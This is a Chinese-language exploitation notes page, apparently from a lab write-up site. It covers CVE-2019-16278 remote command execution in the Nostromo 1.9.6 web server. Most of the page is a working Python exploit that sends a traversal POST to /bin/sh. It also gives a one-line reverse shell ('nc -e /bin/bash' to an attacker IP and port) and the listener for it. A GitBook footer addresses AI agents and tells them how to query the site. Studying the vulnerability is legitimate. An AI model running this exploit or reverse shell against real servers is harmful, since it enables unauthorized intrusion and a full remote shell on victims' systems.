> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/nostromo-cms-exploitation.md). # Nostromo Nostromo 利用笔记，涵盖 CVE-2019-16278 远程命令执行、反向 Shell 投递、HomeDirs 配置审查和受保护用户内容发现。 用于 CVE-2019-16278 远程命令执行、反向 Shell 投递以及 HomeDirs 枚举的 Nostromo 利用笔记。 ## Nostromo CVE-2019-16278 RCE **漏洞利用研究：** `searchsploit` 识别出一个针对 Nostromo 1.9.6 的 RCE 漏洞利用。
从 GitHub 下载该概念验证。 {% embed url="" %} **运行脚本：** 使用以下脚本在服务器上执行命令： ```python import argparse import socket # Argparse 配置 parser = argparse.ArgumentParser(description="CVE-2019-16278 - Nostromo 1.9.6 RCE 漏洞利用") parser.add_argument("-t", "--target", help="要攻击的远程主机") parser.add_argument("-p", "--port", help="要攻击的远程端口") parser.add_argument("-c", "--command", help="要在服务器上执行的命令") parser.add_argument("-b", "--bytes", help="响应中要接收回的字节数") # 定义并赋值变量 args = parser.parse_args() TARGET = args.target PORT = int(args.port) COMMAND = args.command BYTES = args.bytes if BYTES is None: BYTES = 4096 else: BYTES = int(BYTES) URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0" # 构造并编码有效载荷 payload = (f"POST {URL}/r/n" "Content-Length: 1/r/n/r/n" f"echo/necho/n{COMMAND} 2>&1").encode() # 创建套接字并发送有效载荷 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET, PORT)) s.send(payload) # 接收响应并关闭套接字 print(s.recv(1024).decode()) print(s.recv(BYTES).decode()) s.close() ``` ```bash python exploit.py -t 10.10.10.165 -p 80 -c whoami ```
**获取反向 Shell：** ```bash python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443' ``` ```bash sudo nc -nlvp 443 ```
## 相关说明

:server:

HomeDirs 配置

用于查看 nhttpd.conf、发现 public_www、访问受保护文件区域、提取备份归档以及恢复 SSH 密钥的 Nostromo HomeDirs 枚举笔记。Nostromo HomeDirs 配置
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/cms/nostromo-cms-exploitation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.